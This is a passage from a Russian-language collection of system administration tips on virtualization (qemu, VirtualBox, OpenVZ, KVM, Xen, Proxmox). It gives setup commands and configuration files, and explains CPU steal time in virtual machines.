       vditool SHRINK virtualbox.vdi  
    
    Преобразование qemu образа в формат пригодный для использования в VmWare:
    
       qemu-img convert -6 qemu.img -O vmdk vmware.vmdk
    
    Для преобразования формата VmWare в qemu:
     
       qemu-img convert vmware.vmdk -O qcow2 qemu.img
    
    Для преобразования образа диска или livecd в вид пригодный для использования в qemu:
    
       qemu-img convert -f raw disk.img -O qcow2 qemu.img
       qemu-img convert -f cloop cloop.img -O qcow2 qemu.img
    
     
    ----* OpenVZ в ALT Linux Lite 4.0 (доп. ссылка 1)   Автор: Евгений Прокопьев  [комментарии]
     
    Для запуска OpenVZ необходимо и достаточно сказать:
    
       # apt-get install kernel-image-ovz-smp vzctl
    
    После перезагрузки с новым ядром можно создавать виртуальные машины (VE)
    следующим простым скриптом-оберткой:
    
       #!/bin/sh
    
    # проверяем параметры
    
       if [ -z "$4" ]; then
         echo "Usage : $0 \$VEID \$NAME \$BRANCH \$ARCH"
         exit 1
       fi
    
    # определяем переменные
    
       VE_NAMESERVER="192.168.1.1"
       VE_DOMAIN="local"
       VE_NET="192.168.0."
       VE_REPO="/repo"
       HN_REPO="/lvm/distrib/free/linux/alt"
    
    # создаем VE
    
       vzctl create $1 --ostemplate altlinux-$3-$4
    
    # задаем дефолтные значения для VE
    
       vzctl set $1 --name $2 --ipadd $VE_NET$1 --hostname $2.$VE_DOMAIN \
      --nameserver $VE_NAMESERVER --searchdomain $VE_DOMAIN --onboot yes --save
    
    # создаем каталог с репозитарием внутри VE
    
       mkdir /var/lib/vz/private/$1/repo
    
    # создаем скрипт, который будет монтировать репозитарий из HN
    
       cat > /etc/vz/conf/$1.mount <<END
    
       #!/bin/sh
    
       . /etc/vz/vz.conf
    
       mount -n -o bind $HN_REPO/$3 \$VE_ROOT/repo
       END
    
    # делаем скрипт исполняемым
    
       chmod 700 /etc/vz/conf/$1.mount
    
    # настроиваем apt
    
       cat > /var/lib/vz/private/$1/etc/apt/sources.list <<END
       rpm file:///repo/branch/ $4 classic
       rpm file:///repo/branch/ noarch classic
       END
    
    Многое здесь прибито гвоздями: например, предполагается, что в /lvm/distrib/free/linux/alt 
    находятся копии branch/4.0 и branch/4.1, а в /var/lib/vz/template/cache/ - 
    собранные из бранчей с помощью Hasher шаблоны VE:
    
       altlinux-4.0-i586.tar.gz
       altlinux-4.0-x86_64.tar.gz
       altlinux-4.1-i586.tar.gz
       altlinux-4.1-x86_64.tar.gz
    
    В шаблонах находятся basesystem, apt, sysklogd, etcnet, glibc-nss, glibc-locales, 
    netlist, passwd, su, openssh-server, vim-console, mc, less, man и все, что было
    вытянуто по зависимостям.
    
    Предполагается, что свежесозданные VE будут запущены с помощью vzctl start и
    первоначально настроены
    с помощью vzctl enter (т.е. будут созданы необходимые пользователи и пароли/ключи) - 
    далее с ними можно будет работать обычным образом по ssh, сверяясь по мере
    надобности с полезными советами.
    
     
    ----* Настройка сети для виртуального окружения на основе KVM (доп. ссылка 1)   [комментарии]
     
    Имеется машина с Ubuntu Linux, имеющая один сетевой интерфейс. При помощи гипервизора KVM создано
    два гостевых окружения - debian01 и debian02. Задача организовать сетевую связь
    (виртуальная LAN) между
    гостевыми системами и корневой системой и обеспечить выход в интернет, через
    сетевой интерфейс корневой системы.
    
    Настройка корневой системы.
    
    Первым делом нужно создать виртуальный Ethernet коммутатор на базе пакета VDE,
    при помощи которого будет создан виртуальный интерфейс tap0, через который будет организована связь
    между гостевыми окружениями.
    Создаем интерфейс:
       sudo vde_switch -tap tap0 -daemon
    
    Проверяем:
       ifconfig tap0
    
       tap0      Link encap:Ethernet  direcci&#243;nHW 00:ff:1b:e7:76:46
       DIFUSI&#211;N MULTICAST  MTU:1500  M&#233;trica:1
       RX packets:1 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       colisiones:0 txqueuelen:500
       RX bytes:53 (53.0 B)  TX bytes:0 (0.0 B)
    
    Привязываем адреса виртуальной сети (192.168.254.0/255):
       ifconfig tap0 192.168.254.254 netmask 255.255.255.0
    
    для гостевых окружений, адрес 192.168.254.254 будет использоваться в роли шлюза.
    
    
    Настройка гостевых систем.
    
    Настраиваем в гостевом окружении сетевой интерфейс eth0 (выделяем первому - IP 192.168.254.1,
    второму - 192.168.254.2 и т.д.)
    Содержимое /etc/network/interfaces
    
       # loopback
       auto lo
       iface lo inet loopback
    
       allow-hotplug eth0
       #iface eth0 inet dhcp
       iface eth0 inet static
       address 192.168.254.1
       netmask 255.255.255.0
       network 192.168.254.0
       broadcast 192.168.254.255
       gateway 192.168.254.254
    
    
    Для предотвращения виртуальных окружений под одним MAC адресом, меняем MAC виртуальных карт:
    
       sudo aptitude install macchanger
    
    Создаем скрипт /etc/network/if-pre-up.d/macchange, меняющий MAC
    
       #!/bin/sh
       if [ ! -x /usr/bin/macchanger ]; then
          exit 0
       fi
       /usr/bin/macchanger -a eth0
    
    Перезапускаем гостевые окружения (вместо $IMAGE подставляем путь к окружению):
       sudo /usr/bin/vdeq /usr/bin/kvm $IMAGE -m 512 -localtime -k es
    
    
    Настройка выхода гостевых систем в интернет.
    
    Проверяем на корневой системе, включен ли форвардинг пакетов между интерфейсами:
       sysctl net.ipv4.ip_forward
    
    Если выдало 0, то форвардинг отключен, включаем:
       sudo -w sysctl net.ipv4.ip_forward=1
    
    и сохраняем в /etc/sysctl.conf строку
       net.ipv4.ip_forward = 1
    
    В скрипте инициализации, после поднятия tap0 интерфейса, включаем трансляцию адресов:
    
       sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
     
    ----* Запуск NetBSD в qemu под FreeBSD (доп. ссылка 1)   Автор: Anton Yuzhaninov  [комментарии]
     
    Недавно понадобилось посмотреть на NetBSD. Сходу в сети не нашлось описания как это можно сделать, 
    поэтому может кому то пригодится описание того, как это получилось у меня.
    
    1. Создаем образ, на который будет установлена система:
    
      qemu-img create -f qcow2 netbsd.img 4G
    
    2. Подгружаем модуль aio
    
       sudo kldload aio
    
    3. Скачиваем iso-шку с дистрибутивом и загружаем с неё виртуальную машинку:
    
       qemu -m 256 -curses -hda netbsd.img -cdrom i386cd-4.0.iso -boot d
    
    Далее netbsd устанавливается так же как на обычный PC.
    
    4. Для работы сети внутри виртуальной машины можно сделать бридж между
    физическим интерфейсом и tap:
    
       sudo ifconfig tap create
       sudo ifconfig bridge create
       sudo ifconfig bridge0 addm tap0 addm re0 up
       sudo sysctl net.link.tap.up_on_open=1
       sudo sysctl net.link.tap.user_open=1
    
    Чтобы запускать qemu из под пользователя надо дать ему права на /dev/tap0
    
    4. Без отключения ACPI NetBSD не захотела видеть ни одну из сетевух, которые эмулирует qemu, 
    поэтому ACPI пришлось отключить:
    
       qemu -m 256 -curses -hda netbsd.img -no-acpi -net nic -net tap
    
     
    ----* Решение проблемы с ошибкой при загрузке снапшота VirtualBox (доп. ссылка 1)   Автор: Heckfy  [комментарии]
     
    Бывает, виртуальная машина отказывается загружаться со следующей ошибкой:
    
       Unable to restore the virtual machine's saved state from 
       'M:\VM\Machines\Windows Xp Sviluppo\Snapshots\{ce28664d-45f3-46dd8468-9ba91a689e7b}.sav'. 
       It may be damaged or from an older version of VirtualBox. Please discard the 
       saved state before starting the virtual machine. VBox status code: -1829 (VERR_SSM_UNEXPECTED_DATA).
    
    Для решения проблемы требуется восстановить условия, в которых находилась виртуальная машина: 
    сетевые папки (в моем случае, это каталог /media/ в линуксе и всё дерево каталогов, 
    доступных виртуальной машине на тот момент), компакт-диски, Flash и прочее съемное.
    
     
    ----* Установка FreeBSD в окружении Virtualbox   [комментарии]
     
    FreeBSD 6.3 в Virtualbox 1.6 и 2.0 (сборка для Ubuntu Linux 7.10)  запустить не удалось 
    (были испробованы всевозможные  комбинации конфигурации VirtualBox),
    наблюдается крах в процессе загрузки ядра.
    
    FreeBSD 7.0 был удачно установлен и использован в Virtualbox 1.6.x, но в VirtualBox 2.0 
    перестал работать режим аппаратной виртуализации VT-x/AMD-V, при включении данной 
    опции bootloader вываливается в бесконечную демонстрацию регистровых дампов. 
    Пришлось откатиться обратно до  Virtualbox 1.6.6.
    
    Далее, привожу особенности установки FreeBSD 7.0 в Virtualbox.
    
    Во время установки FreeBSD в виртуальном окружении Virtualbox, процесс зависает 
    во время отображения меню bootloader'а.
    Чтобы зависания не произошло нужно в параметрах VirtualBox запретить использование VT-x/AMD-V. 
    В форумах также можно найти жалобы на зависание в процессе загрузки ядра,
    решаемые выключением ACPI  в VirtualBox.
    
    После завершения установки, загрузившись в новую гостевую систему, меняем /boot/loader.conf:
    
       kern.hz="50"
       beastie_disable="YES"
    
    Т.е. уменьшаем частоту генерации прерываний от таймера, чтобы виртуальная машина 
    не грузила CPU хост-системы и запрещаем отображение меню загрузчика, на котором 
    система повисает при включении VT-x/AMD-V.
    
    Включаем в настройках VT-x/AMD-V. Тип эмулируемого сетевого адаптера нужно
    выбрать PCNet-PCI II или Intel Pro,
    тот что ставится по умолчанию (PCNet-Fast III) не работает во FreeBSD.
    
    Тип эмуляции сетевого интерфейса выбираем NAT, а в FreeBSD получаем адрес по DHCP или 
    устанавливаем IP из диапазона 10.0.2.0/24, шлюз 10.0.2.2, DNS 10.0.2.3. 
    Внимание, ping в NAT режиме не работает, проверять приходится через telnet.
    
    Для того чтобы в гостевую систему можно было зайти по SSH, нужно перебросить 22 порт из вне. 
    Запускаем в консоли хост-системы:
    
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/Protocol" TCP
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/GuestPort" 22
       VBoxManage setextradata "freebsd" "VBoxInternal/Devices/pcnet/0/LUN#0/Config/guestssh/HostPort" 2222
    
    где, "freebsd" - это имя виртуальной машины, а pcnet тип эмулируемой карты.
    
    После перезапуска гостевого окружения, заходя на 2222 порт хостовой машины мы будем 
    переброшены на 22 порт виртуального окружения.
    
       ssh -p2222 localhost
    
    В форумах советуют создать для FreeBSD образ диска фиксированного размера, 
    но я использую динамически расширяемый образ и проблем не наблюдаю.
    
     
    ----* Создание initrd образа для гостевого Xen окружения в CentOS   [комментарии]
     
    В CentOS 5, при установке пакета kernel-xen с ядром, по умолчанию создается initrd образ для Dom0.
    Для использования данного ядра в гостевом окружении необходимо создать initrd 
    с поддержкой сетевого и блочного xen модулей, иначе ядро в гостевой ФС не сможет 
    смонтировать корневую ФС на дисковом разделе.
    
    Имеем ядро kernel-xen-2.6.18-53.1.13.el5
    
    Создаем initrd:
       /sbin/mkinitrd --with=xennet --preload=xenblk /boot/initrd-centos5-xen.img 2.6.18-53.1.13.el5xen
    
    Пример xen профайла vps3:
    
    kernel = "/boot/vmlinuz-2.6.18-53.1.21.el5xen"
    ramdisk = "/boot/initrd-centos5-xen.img"
    memory = 1024
    name = "vps3"
    cpus = "0"        # all vcpus run on CPU0
    vcpus = 1
    vif = [ '', 'mac=00:16:3E:00:00:02, bridge=virbr1, vifname=eth2, ip=192.168.122.2' ]
    disk = [ 'phy:/dev/mapper/sil_ahajbjcdabeip7,sda1,w' ]
    root = "/dev/sda1 ro"
    extra = "4"
    
     
    ----* Установка OpenSolaris2008/05 DomU в Xen 3.2.1 CentOS 5.1 Dom0 (64-bit) (доп. ссылка 1)   Автор: Boris Derzhavets  [комментарии]
     
    Вариант 1.
    
    Установка OpenSolaris2008/05 HVM DomU в Xen 3.2.1 CentOS 5.1 Dom0 (64-bit) 
    на машине с процессором поддерживающим технологии Intel VT или AMD-V
    
    Определяем, поддерживаем ли процессор аппаратную виртуализацию:
    Intel:
      grep -i vmx /proc/cpuinfo 
    
    AMD:
      grep -i svm /proc/cpuinfo 
    
    Активирован ли HVM в BIOS (также можно поискать по ключам VT, VMX, SVM):
      grep -i hvm /sys/hypervisor/properties/capabilities 
    
    Создаем слепок установочного DVD диска с OpenSolaris 2008/05:
    
       # dd if=/dev/hda of=/usr/lib/xen-solaris/os200805.iso
    
    Создаем Xen профайл для установки OpenSolaris2008/05:
    
       [root@dhcppc3 vm]# cat OS0805.hvm
       name = "OS200805HVM"
       builder = "hvm"
       memory = "1024"
       disk =     ['phy:/dev/sdb11,ioemu:hda,w','file:/usr/lib/xen-solaris/os200805.iso,hdc:cdrom,r']
       vif = [ 'type=ioemu,bridge=eth0' ]
       device_model = "/usr/lib64/xen/bin/qemu-dm"
       kernel = "/usr/lib/xen/boot/hvmloader"
       vnc=1
       boot="d"
       vcpus=1
       serial = "pty" # enable serial console
       on_reboot   = 'restart'
       on_crash    = 'restart'
    
    Запускаем установку в гостевом окружении Xen:
    
       # xm create OS200805.hvm
    
    Подключаем VNC клиент для управления установкой:
    
       # vncviewer localhost:0
    
    
    После установки меняем Xen профайл на рабочий и запускаем его:
    
       [root@dhcppc3 vm]# cat OS0805RT.hvm
       name = "OS200805HVM"
       builder = "hvm"
       memory = "1024"
       disk = ['phy:/dev/sdb11,ioemu:hda,w']
       vif = [ 'type=ioemu,bridge=eth0' ]
       device_model = "/usr/lib64/xen/bin/qemu-dm"
       kernel = "/usr/lib/xen/boot/hvmloader"
       vnc=1
       boot="c"
       vcpus=1
       serial = "pty" # enable serial console
       on_reboot   = 'restart'
       on_crash    = 'restart'
      
    Редактируем конфигурацию Grub (/rpool/boot/grub/menu.lst) в Solaris, для загрузки 64-битного ядра.
    
    
    Вариант 2.
    
    Установка OpenSolaris2008/05 DomU в Xen 3.2.1 CentOS 5.1 Dom0 (64-bit) в режиме
    паравиртуализации, используя модифицированное ядро Solaris
    
    Создаем слепок установочного DVD диска с OpenSolaris 2008/05:
    
       # dd if=/dev/hda of=/usr/lib/xen-solaris/os200805.iso
    
    Копируем 64-битное ядро xen-solaris и x86.microroot в хостовое окружение (Dom0):
    
       mkdir -p /mnt01/tmp
       mount -o loop,ro os200805.iso  /mnt01/tmp
       cp /mnt01/tmp/boot/x86.microroot /usr/lib/xen-solaris/x86.microroot
       cp /mnt01/tmp/boot/platform/i86xpv/kernel/amd64/unix  /usr/lib/xen-solaris/unix-0805
       umount /mnt01/tmp
     
    Для установки используем Xen профайл:
    
       name = "OpenSolaris"
       vcpus = 1
       memory = "1024"
       kernel = "/usr/lib/xen-solaris/unix-0805"
       ramdisk = "/usr/lib/xen-solaris/x86.microroot"
       extra = "/platform/i86xpv/kernel/amd64/unix -kd - nowin -B  install_media=cdrom"
       disk = ['file:/usr/lib/xen-solaris/os200805.iso,6:cdrom,r','phy:/dev/sdb8,0,w']
       vif = ['bridge=eth0']
       on_shutdown = "destroy"
       on_reboot = "destroy"
       on_crash = "destroy"
    
    Во время загрузки виртуальной машины набираем:
    
       Welcome to kmdb
       Loaded modules: [ unix krtld genunix ]
       [0]> gnttab_init+0xce/W 403
       gnttab_init+0xce: 0x3 = 0x403
       [0]> :c
     
    Входим в систему как jack/jack и выполняем установку LiveCD на виртуальный жесткий диск. 
    
    Когда установка будет завершена не производите перезагрузку, а откройте root-терминал и выполните:
    
    
       # mdb -w /a/platform/i86xpv/kernel/amd64/unix
       > gnttab_init+0xce?W 403
       unix`gnttab_init+0xce: 0x403 = 0x403
       > $q
    
       # /usr/bin/scp -S /usr/bin/ssh /a/platform/i86xpv/kernel/amd64/unix \
    > IP-ADDRESS-Dom0:/usr/lib/xen-solaris/unix-0805
    
       # /usr/bin/scp -S /usr/bin/ssh /a/platform/i86pc/amd64/boot_archive \
    > IP-ADDRESS-Dom0:/usr/lib/xen-solaris/boot_archive
    
       bash-3.2# shutdown -y -i0 -g0
      
    После установки меняем Xen профайл на рабочий:
    
       name = "OpenSolaris"
       vcpus = 1
       memory = "1024"
       kernel = "/usr/lib/xen-solaris/unix-0805"
       ramdisk = "/usr/lib/xen-solaris/boot_archive"
       extra = "/platform/i86xpv/kernel/amd64/unix -B zfs-bootfs=rpool/27"
       disk = ['file:/usr/lib/xen-solaris/os200805.iso,6:cdrom,r','phy:/dev/sdb8,0,w']
       vif = ['bridge=eth0']
       on_shutdown = "destroy"
       on_reboot = "destroy"
       on_crash = "destroy"
      
    
     
    ----* Установка и использование OpenVZ в Debian GNU/Linux (доп. ссылка 1)   Автор: Falko Timme  [комментарии]
     
    Добавляем в /etc/apt/sources.list репозиторий с OpenVZ:
    
       deb http://download.openvz.org/debian-systs etch openvz
    
    Далее:
    
       wget -q http://download.openvz.org/debian-systs/dso_archiv_signing_key.asc -O- | apt-key add - 
       apt-get update
    
    Устанавливаем ядро с OpenVZ. 
    
    В репозитории доступны ядра версий 2.6.18 и 2.6.24 в сборках 486, 686,
    686-bigmem (до 63 Гб ОЗУ) и amd64.
    
       apt-get install fzakernel-2.6.18-686-bigmem
       update-grub
    
    Устанавливаем утилиты и минимальный образ гостевой системы:
    
       apt-get install vzctl vzquota vzprocps vzdump
       apt-get install vzctl-ostmpl-debian
    
    Для работы сети в VPS проверяем настройки /etc/sysctl.conf:
    
       net.ipv4.conf.all.rp_filter=1
       net.ipv4.conf.default.forwarding=1
       net.ipv4.conf.default.proxy_arp = 0
       net.ipv4.ip_forward=1
    
    Перечитываем настойки: sysctl -p
    
    Если IP виртуальной машины находится вне подсети, используемой на хост-машине:
    В /etc/vz/vz.conf ставим:
    
       NEIGHBOUR_DEVS=all
    
    
    Перезагружаем машину с новым OpenVZ ядром и приступаем к поднятию виртуального окружения.
    
    Создаем виртуальную машину с ID 101 на основе ранее загруженного шаблона (vzctl-ostmpl-debian):
    
       vzctl create 101 --ostemplate debian-4.0-i386-minimal --config vps.basic
    
    Включаем автоматиеческий запуск созданного VPS на стадии загрузки системы:
    
       vzctl set 101 --onboot yes --save
    
    Назначаем VPS имя хоста и IP:
    
       vzctl set 101 --hostname test.example.com --save
       vzctl set 101 --ipadd 1.2.3.101 --save
    
    Ограничиваем число открытых сокетов, число процессов и объем памяти:
    
       vzctl set 101 --numothersock 100 --save
       vzctl set 101 --numtcpsock 100 --save
       vzctl set 101 --numproc 150 --save
       vzctl set 101 --vmguarpages 65536 --save # гарантированный объем 256Мб, в блоках по 4Кб
       vzctl set 101 --privvmpages 131072 --save # максимальный объем 512Мб, в блоках по 4Кб
    
    Список возможных ограничений - http://wiki.openvz.org/UBC_parameters_table
    
    Прописываем DNS серверы для VPS:
    
       vzctl set 101 --nameserver 213.133.98.98 --nameserver 213.133.99.99 \
         --nameserver 213.133.100.100 --nameserver 145.253.2.75 --save
    
    Можно вместо вызова vzctl напрямую отредактировать файл конфигурации /etc/vz/conf/101.conf
    
    
    Запускаем созданную VPS:
    
       vzctl start 101
    
    Устанавливаем пароль суперпользователя VPS, запустив внутри команду passwd:
    
       vzctl exec 101 passwd
    
    Входим в shell VPS (можно сразу зайти по SSH):
    
       vzctl enter 101
    
    Останавливаем VPS:
    
       vzctl stop 101
    
    Удаляем VPS с жесткого диска:
    
       vzctl destroy 101
    
    Просматриваем список VPS и их статус:
    
       vzlist -a
    
    Просмотр ресурсов доступных внутри VPS:
    
       vzctl exec 101 cat /proc/user_beancounters 
    
    
    Подробнее см. http://wiki.openvz.org/
    
     
    ----* Как в Linux примонтировать образ QEMU диска   [комментарии]
     
    mount -o loop,offset=32256 qemu_image.img /mnt/qemu_image
    
     
    ----* Запуск ChromeOS Flex в виртуальной машине Proxmox (доп. ссылка 1)   [комментарии]
     
    Chrome OS Flex представляет собой отдельный вариант Chrome OS,
    предназначенный для использования на обычных компьютерах, а не только на
    изначально поставляемых с Chrome OS устройствах, таких как Chromebook,
    Chromebase и Chromebox. Изначально сборки Chrome OS Flex рассчитаны на загрузку
    с USB-накопителя или установку на диск для работы поверх оборудования. Ниже
    показано как можно запустить recovery-образ Chrome OS Flex в виртуальных
    машинах на базе QEMU или Proxmox.
    
    
    Загружаем с сайта Google и распаковываем bin-файл c ChromeOS Flex,
    рассчитанный на загрузку c USB накопителя (файл также можно получить
    при помощи утилиты Chromebook Recovery).
    
       wget https://dl.google.com/chromeos-flex/images/latest.bin.zip
       unzip latest.bin.zip
    
    Устанавливаем пакеты, необходимые для виртуализации GPU (VirGL). Для Proxmox/Debian/Ubuntu:
    
       apt-get install libgl1 libegl1   
    
    Создаём виртуальную машину, например, в интерфейсе Proxmox VM выбрав режим
    загрузки Linux, тип системы - q35, тип CPU - host и тип BIOS - OVMF (UEFI).
    Отключаем для EFI опцию "Pre-Enroll keys".
    
    После создания виртуальной машины в свойствах графической карты в секции
    Hardware выбираем VirGL GPU (в качестве альтернативы можно выбрать и VirtIO-GPU).
    
    Создаём блочное устройство для доступа к системному образу ChromeOS Flex в loop-режиме:
    
       losetup --partscan /dev/loop1 chromeos_15393.58.0_reven_recovery_stable-channel_mp-v2.bin
    
    Пробрасываем созданное блочное устройство в виртуальную машину:
    
       qm set vm_id -scsi2 /dev/loopN
    
    где vm_id - идентификактор виртуальной машины, а /dev/loopN - созданное на
    предыдущем этапе блочное устройство, например, /dev/loop1.
    
    В Proxmox в настройках виртуальной машины в секции Options меняем порядок
    загрузки, выставив загрузку с устройства scsi2 на первое место.
    
    Запускаем виртуальную машину.
    
     
    ----* Откуда берется steal внутри виртуальных машин и что с этим делать (доп. ссылка 1)   Автор: Mail.Ru Cloud Solutions  [комментарии]
     
    CPU steal time - это время, в течение которого виртуальная машина не получает
    ресурсы процессора для своего выполнения. Это время считается только в гостевых
    операционных системах в средах виртуализации.
    
    Что такое steal
    
    Steal  - это метрика, указывающая на нехватку процессорного времени для
    процессов внутри виртуальной машины. Как описано в патче ядра KVM, steal -
    это время, в течение которого гипервизор выполняет другие процессы на хостовой
    операционной системе, хотя он поставил процесс виртуальной машины в очередь на
    выполнение. То есть steal считается как разница между временем, когда процесс
    готов выполниться, и временем, когда процессу выделено процессорное время.
    
    Метрику steal ядро виртуальной машины получает от гипервизора. При этом
    гипервизор не уточняет, какие именно другие процессы он выполняет, просто
    "пока занят, тебе времени уделить не могу". На KVM поддержка подсчёта
    steal добавлена в патчах. Ключевых моментов здесь два:
    
    1.   Виртуальная машина узнает о steal от гипервизора. То есть, с точки зрения
    потерь, для процессов на самой виртуалке это непрямое измерение, которое может
    быть подвержено различным искажениям.
    
    2.   Гипервизор не делится с виртуалкой информацией о том, чем он занят -
    главное, что он не уделяет время ей. Из-за этого сама виртуалка не может
    выявить искажения в показателе steal, которые можно было бы оценить по
    характеру конкурирующих процессов.
    
    Как вычислить steal
    
    По сути, steal считается как обычное время утилизации процессора. В ядре
    добавляется ещё один счетчик непосредственно для процесса KVM (процесса
    виртуальной машины), который считает длительность пребывания процесса KVM в
    состоянии ожидания процессорного времени. Счетчик берет информацию о процессоре
    из его спецификации и смотрит, все ли его тики утилизированы процессом
    виртуалки. Если все, то считаем, что процессор занимался только процессом
    виртуальной машины. В ином случае информируем, что процессор занимался чем-то
    еще, появился steal.
    Подробнее читайте в статье Brendann Gregg.
    
    Как мониторить steal
    
    Мониторить steal внутри виртуальной машины можно как любую другую процессорную
    метрику. Главное, чтобы виртуалка была на Linux. Windows  такую информацию не предоставляет.
    
    Сложность возникает при попытке получить эту информацию с гипервизора. Можно
    попробовать спрогнозировать steal на хостовой машине, например, по параметру
    Load Average (LA) - усредненного значения количества процессов, ожидающих в
    очереди на выполнение. Методика подсчета этого параметра непростая, но в целом
    пронормированный по количеству потоков процессора LA > 1 указывает на
    перегрузку Linux-сервера.
    
    Чего же ждут все эти процессы? Очевидный ответ - процессора. Но иногда
    процессор свободен, а LA зашкаливает. На самом деле, процессы могут ожидать
    окончания любой блокировки, как физической, связанной с устройством
    ввода/вывода, так и логической, например мьютекса. Туда же относятся блокировки
    на уровне железа (того же ответа от диска) или логики (так называемых
    блокировочных примитивов).
    
    Ещё одна особенность LA в том, что оно считается как среднее значение по ОС,
    причём не меньше, чем за минуту. Например, 100 процессов конкурируют за один
    файл, тогда LA=50. Такое большое значение, казалось бы, говорит, что ОС плохо.
    Но для криво написанного кода это может быть нормой - плохо только ему, а
    другие процессы не страдают. Из-за этого усреднения (причём не меньше, чем за
    минуту), определение чего-либо по LA может закончиться весьма неопределенными
    результатами в конкретных случаях.
    
    Почему появляется steal и что делать
    
    Остановимся на основных причинах появления steal, с которыми мы столкнулись при
    работе с облачной платформой MCS, и способах борьбы с ними.
    
    Переутилизация. Самое простое и частое - много запущенных виртуальных машин,
    большое потребление процессора внутри них, большая конкуренция, утилизация по
    LA больше 1 (в нормировке по процессорным тредам). Внутри всех виртуалок всё
    тормозит. Steal, передаваемый с гипервизора, также растёт, надо
    перераспределять нагрузку или кого-то выключать.
    При этом нужно учитывать, что соотношение нагрузки на гипервизоре и steal
    внутри виртуальной машины не всегда однозначно взаимосвязаны. Обе оценки steal
    могут быть ошибочными в конкретных ситуациях при разных нагрузках.
    
    Паравиртуализация против одиноких инстансов. На гипервизоре одна единственная
    виртуалка, она потребляет небольшую его часть, но дает большую нагрузку по
    вводу/выводу, например по диску. И откуда-то в ней появляется небольшой steal,
    до 10%.
    
    Тут дело как раз в блокировках на уровне паравиртуализированных драйверов.
    Внутри виртуалки создается прерывание, оно обрабатывается драйвером и уходит в
    гипервизор. Из-за обработки прерывания на гипервизоре для виртуалки это
    выглядит как отправленный запрос, она готова к исполнению и ждёт процессора, но
    процессорного времени ей не дают. Виртуалка думает, что это время украдено.
    
    Это происходит в момент отправки буфера, он уходит в kernel space гипервизора,
    и мы начинаем его ждать. Хотя, с точки зрения виртуалки, он должен сразу
    вернуться. Следовательно, по алгоритму расчета steal это время считается
    украденным. Скорее всего, в этой ситуации могут быть и другие механизмы
    (например, обработка ещё каких-нибудь sys calls), но они не должны сильно отличаться.
    
    Небольшой steal можно считать нормой (даже и без паравиртуализации, с учётом
    нагрузки внутри виртуалки, особенностей нагрузки соседей, распределения
    нагрузки по тредам и прочего). Однако важно обращать внимание на то, как себя
    чувствуют приложения внутри виртуалок.
    
    Шедулер против высоконагруженных виртуалок. Когда одна виртуалка страдает от
    steal больше других, это связано с шедулером (распределением ресурсов между
    процессами) - чем сильнее процесс нагружает процессор, тем скорее шедулер
    его выгонит, чтобы остальные тоже могли поработать. Если виртуалка потребляет
    немного, она почти не увидит steal: её процесс честно сидел и ждал, ему дадут
    время. Если виртуалка дает максимальную нагрузку по всем своим ядрам, её чаще
    выгоняют с процессора и не дают много времени. Шедулер плохо относится к
    процессам, которые много просят. Большие виртуалки - зло.
    
    Низкий LA, но есть steal. LA примерно 0,7 (то есть, гипервизор, кажется
    недозагружен), но внутри отдельных виртуалок наблюдается steal:
    
    1.   Уже описанный выше вариант с паравиртуализацией. Виртуалка может получать
    метрики, указывающие на steal, хотя у гипервизора всё хорошо. По результатам
    наших экспериментов, такой вариант steal не превышает 10 % и не должен
    оказывать существенного влияния на производительность приложений внутри виртуалки.
    
    2.   Неверно считается LA. Точнее, в каждый конкретный момент он считается
    верно, но при усреднении получается заниженным. Например, если одна виртуалка
    на треть гипервизора потребляет все свои процессоры ровно полминуты, LA за
    минуту на гипервизоре будет 0,15; четыре такие виртуалки, работающие
    одновременно, дадут 0,6. А то, что полминуты на каждой из них был steal под 25
    % по LA, уже не вытащить.
    
    3.   Из-за шедулера, решившего, что кто-то слишком много ест, и пусть он
    подождет, пока я займусь другими важными системными вещами. В итоге одни
    виртуалки не видят никаких проблем, а другие испытывают серьезную деградацию производительности.
    
    Другие искажения
    
    Есть другие причины для искажений честной отдачи процессорного времени на
    виртуалке. Например, сложности в расчёты вносят гипертрединг и NUMA. Они
    запутывают выбор ядра для исполнения процесса, потому что шедулер использует
    коэффициенты - веса, которые при переключении контекста выполняют
    усложнённый подсчёт.
    
    Бывают искажения из-за технологий типа турбобуста или, наоборот, режима
    энергосбережения, которые при подсчёте утилизации могут искусственно повышать
    или понижать частоту или даже квант времени на сервере. Включение турбобуста
    уменьшает производительность одного процессорного треда из-за увеличения
    производительности другого. В этот момент информация об актуальной частоте
    процессора виртуальной машине не передается, и она считает, что её время кто-то
    тырит (например, она запрашивала 2 ГГц, а получила вдвое меньше).
    
    В общем, причин искажений может быть много. Чтобы выяснить steal в конкретной
    системе, исследуйте различные варианты, собирайте метрики, тщательно их
    анализируйте и продумывайте, как равномерно распределять нагрузку. От любых
    кейсов возможны отклонения, которые надо подтверждать экспериментально или
    смотреть в отладчике ядра. Начать лучше с книг, на которые я дал линки выше, и
    съёма статистики с гипервизора утилитами типа perf, sysdig, systemtap, коих десятки.
    
     
    ----* Установка Xen 4.0.0 в Ubuntu Linux 10.04 (доп. ссылка 1)   [комментарии]
     
    В заметке показано как запустить Xen 4.0.0 (dom0) с Linux ядром 2.6.32.10
    поверх 64-разрядной сборки Ubuntu 10.04-beta.
    
    Устанавливаем необходимые для сборки пакеты:
    
       sudo aptitude install build-essential libncurses5-dev dpkg-dev debhelper fakeroot
    
    Загружаем Linux ядро с dom0-патчами:
    
       sudo -s
       cd /usr/src
       git clone git://git.kernel.org/pub/scm/linux/kernel/git/jeremy/xen.git linux-2.6-xen
       cd linux-2.6-xen
       git checkout -b xen/stable origin/xen/stable
    
    Копируем файл с параметрами конфигурации ядра:
    
       curl http://opennet.ru/soft/xen40_config.txt > /usr/src/linux-2.6-xen/.config
    
    Анализируем различия с базовым файлом конфигурации Ubuntu и при необходимости вносим изменения:
    
       diff /boot/config-2.6.32-17-generic /usr/src/linux-2.6-xen/.config | vim -
    
    Собираем ядро:
    
       make menuconfig # включаем поддержку dom0 и Xen
       make
       chmod g-s /usr/src -R  # для того чтобы избежать ошибки "dpkg-deb: control directory has bad permissions..."
       make deb-pkg
    
    Собираем и устанавливаем пакет с ядром, настраиваем initramfs и grub:
    
       dpkg -i ../linux-image*2.6.32.10*.deb
       depmod 2.6.32.10
       update-initramfs -c -k 2.6.32.10
       update-grub
       echo "xen-evtchn" >> /etc/modules
    
    Готовим окружение для сборки
    
       apt-get build-dep xen-3.3
       aptitude install uuid-dev iasl texinfo
    
    Загружаем Xen
